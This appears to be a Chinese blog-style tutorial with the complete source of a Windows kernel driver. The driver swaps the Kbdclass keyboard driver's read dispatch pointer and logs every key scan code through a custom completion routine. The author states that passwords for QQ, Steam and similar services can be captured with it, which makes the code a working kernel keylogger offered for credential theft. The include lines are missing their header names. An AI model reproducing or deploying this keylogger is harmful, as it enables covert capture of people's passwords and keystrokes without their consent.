【1】方式:替换Kbdclass驱动的ReadFile IRP函数处理指针
编写.sys文件:
头文件:
#pragma once //只编译1次头文件
#include //驱动函数头文件,类似于Windows.h
#include //WDK函数头文件,一般编写驱动程序时,与ntddk.h一起包含
#include //UNICODE和ANSI字符串头文件
#include //安全字符串函数头文件
#include //扫描码结构体需要包含的头文件
#include //创建通信设备对象(不用管理员权限就能打开)
#pragma comment(lib,"ntstrsafe.lib") //安全字符串函数库文件
//#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//调用延迟函数的延迟长度的宏
#define DELAY_ONE_MILLISECOND (-10 * 1000) //1毫秒
//可通过[驱动对象DRIVER_NAME名称路径]获得[该驱动对象的DRIVER_OBJECT指针]
NTSTATUS
ObReferenceObjectByName(
PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID ParseContext,
PVOID *Object
);
VOID DriverUnload(PDRIVER_OBJECT pDriverObj);
NTSTATUS OpenTagDevice(wchar_t* DriObj);
NTSTATUS Read(
PDEVICE_OBJECT pDevObj,
PIRP pIrp
);
//读IRP请求处理函数
NTSTATUS c2pReadComplete
(
IN PDEVICE_OBJECT DeviceObject, //目标设备对象
IN PIRP Irp, //IRP指针
IN PVOID Context //该自定义参数为:过滤设备对象
);
源文件:
#include "Dev.h"
extern POBJECT_TYPE* IoDriverObjectType; //用于调用ObReferenceObjectByName API时,获取Kbdclass驱动对象指针,所带入的[对象类型]
//由于是指针,所以带入时,为:*IoDriverObjectType;
PDRIVER_OBJECT gDriverObject = NULL; //本驱动程序的[驱动对象]
PDRIVER_OBJECT gTagDriverObj = NULL; //目标[驱动对象]
PDRIVER_DISPATCH YuanReadFunc = NULL; //原目标[驱动对象]的函数指针
ULONG gIrpCount = 0;
NTSTATUS DriverEntry
(
PDRIVER_OBJECT DriverObject, //本驱动程序的[驱动对象]
PUNICODE_STRING RegistryPath //此驱动在注册表中的路径.
)
{
KdPrint(("Aaron::DriverEntry\n"));
NTSTATUS status = STATUS_SUCCESS;
//保存本驱动程序的[驱动对象]到全局变量
gDriverObject = DriverObject;
//取目标驱动对象
status = OpenTagDevice(KBD_DRIVER_NAME);
if (!NT_SUCCESS(status))
return status;
//指针变量
volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;
YuanReadFunc = InterlockedExchangePointer(TagFunc, Read);
//设置[驱动卸载]函数指针
DriverObject->DriverUnload = DriverUnload;
//返回最终状态
return status;
}
NTSTATUS OpenTagDevice(wchar_t* DriObj)
{
NTSTATUS status;
UNICODE_STRING DriName;
RtlInitUnicodeString(&DriName, DriObj);
PDRIVER_OBJECT TagDri;
status = ObReferenceObjectByName(&DriName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL,&TagDri);
if (!NT_SUCCESS(status))
return status;
ObDereferenceObject(TagDri);
gTagDriverObj = TagDri;
return status;
}
//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{//由于卸载时,一般有一个未完成的IRP请求,当这个IRP完成时,会执行c2pReadComplete完成例程,但完成例程不存在了
//导致蓝屏,所以要等待这个IRP完成,然后卸载.
volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;
InterlockedExchangePointer(TagFunc, YuanReadFunc);
//将32位扩展至64位变量中.
LARGE_INTEGER lDelay = RtlConvertLongToLargeInteger(10 * DELAY_ONE_MILLISECOND); //1毫秒 × 100 = 100毫秒,1000毫秒才等于1秒
//得到不公开的线程结构体指针
PRKTHREAD CurrentThread = KeGetCurrentThread();
//把当前线程设置为[低实时模式],以便让它的运行尽量少影响其他程序 16 (0~31)
KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
//等待IRP完成,就要用一个变量记录是否无IRP数量了.
while (gIrpCount)
KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
KdPrint(("Aaron::驱动程序卸载成功!\n"));
}
//ReadFile处理函数
NTSTATUS Read(
PDEVICE_OBJECT pDevObj,
PIRP pIrp
)
{
gIrpCount++;
PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(pIrp);
//IrpSp->Context = 这个是自定义参数
IrpSp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL;
IrpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2pReadComplete;
return YuanReadFunc(pDevObj, pIrp);
}
//读IRP完成例程
NTSTATUS c2pReadComplete
(
IN PDEVICE_OBJECT DeviceObject, //目标设备对象
IN PIRP Irp, //IRP指针
IN PVOID Context //该自定义参数为:过滤设备对象
)
{
PIO_STACK_LOCATION IrpSp; //I/O堆栈指针
ULONG_PTR buf_len = 0;
PKEYBOARD_INPUT_DATA buf = NULL;
size_t i;
//获取当前I/O堆栈指针
IrpSp = IoGetCurrentIrpStackLocation(Irp);
//如果IRP请求是成功的
if (NT_SUCCESS(Irp->IoStatus.Status))
{
//得到扫描码缓冲区
buf = Irp->AssociatedIrp.SystemBuffer;
buf_len = Irp->IoStatus.Information;
ULONG_PTR aaKeyCount = buf_len / sizeof(KEYBOARD_INPUT_DATA);
for (ULONG_PTR i = 0; i < aaKeyCount; i++)
{
DbgPrint("键盘码:%02x\n",buf->MakeCode);
buf++;
}
}
if (Irp->PendingReturned)
IoMarkIrpPending(Irp);
//IRP总数--
gIrpCount--;
return Irp->IoStatus.Status;
}
QQ、Steam等等的密码都可以获取到.(网银除外)
关于有个小问题:
这里设置IRP请求的完成例程时,不是直接调用的IoSetCompletionRoutine,而是手动设置上去的完成例程.
原因是IoSetCompletionRoutine好像是帮设备栈的下一个设备对象的I/O堆栈指针中的完成例程,导致完成例程函数
不执行.
【效果】